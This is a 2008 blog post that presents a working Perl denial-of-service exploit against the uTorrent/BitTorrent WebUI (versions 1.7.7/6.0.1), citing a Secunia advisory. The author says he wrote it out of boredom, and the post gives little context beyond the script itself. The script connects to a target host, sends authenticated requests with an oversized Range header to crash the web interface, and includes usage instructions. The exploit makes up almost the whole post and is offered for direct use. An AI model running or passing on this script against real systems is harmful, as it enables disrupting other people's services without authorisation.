uTorrent / BitTorrent WebIU 1.7.7/6.0.1 Range header Denial of Service exploit

Posted on June 23, 2008
Filed Under Exploits, Source code |

Today i kinda got really bored, so i’ve decided to dig into some advisories and see what i can find
during my search i’ve found the following advisory
and since i didnt have anything better to do and it doesnt require much of a thinking
i came up with the following exploit:

  1. #!/usr/bin/perl
  2. # uTorrent / BitTorrent WebIU HTTP 1.7.7/6.0.1 Range header Denial of Service exploit
  3. # according to the following advisory: http://secunia.com/advisories/30605
  4. #
  5. # usage: WebUI-dos.pl <url> <port> <user:pass>
  6. # Exploit written by Exodus.
  7. # http://www.blackhat.org.il
  8.  
  9. use IO::Socket;
  10. use MIME::Base64;
  11.  
  12. if(@ARGV < 3)
  13. { &usage; }
  14.  
  15. ($host,$ref) = split(/\//,$ARGV[0]);
  16.  
  17. $sock = IO::Socket::INET->new(PeerAddr => "$host:$ARGV[1]", Proto =>'TCP') || die("[X]Couldnt connect to host: $host:$ARGV[1]\n");
  18. $buff = "E" x 60000;
  19. $up = encode_base64($ARGV[2]);
  20. chomp($up);
  21.  
  22. print $sock "GET /gui/common.js HTTP/1.1\r\n".
  23. "Host: $host\r\n".
  24. "Authorization: Basic $up\r\n".
  25. "Range: bytes=$buff\r\n".
  26. "Connection: close\r\n\r\n";
  27.  
  28. close($sock);
  29.  
  30. print "[!]Payload sent, WebUI should be down…\n";
  31.  
  32.  
  33.  
  34. sub usage
  35. {
  36.  print "usage $0 <url> <port> <user:pass>\n".
  37.     "ex: $0 127.0.0.1/gui/common.js 1337 admin:admin\n";
  38.  exit;
  39. }

Comments

Leave a Reply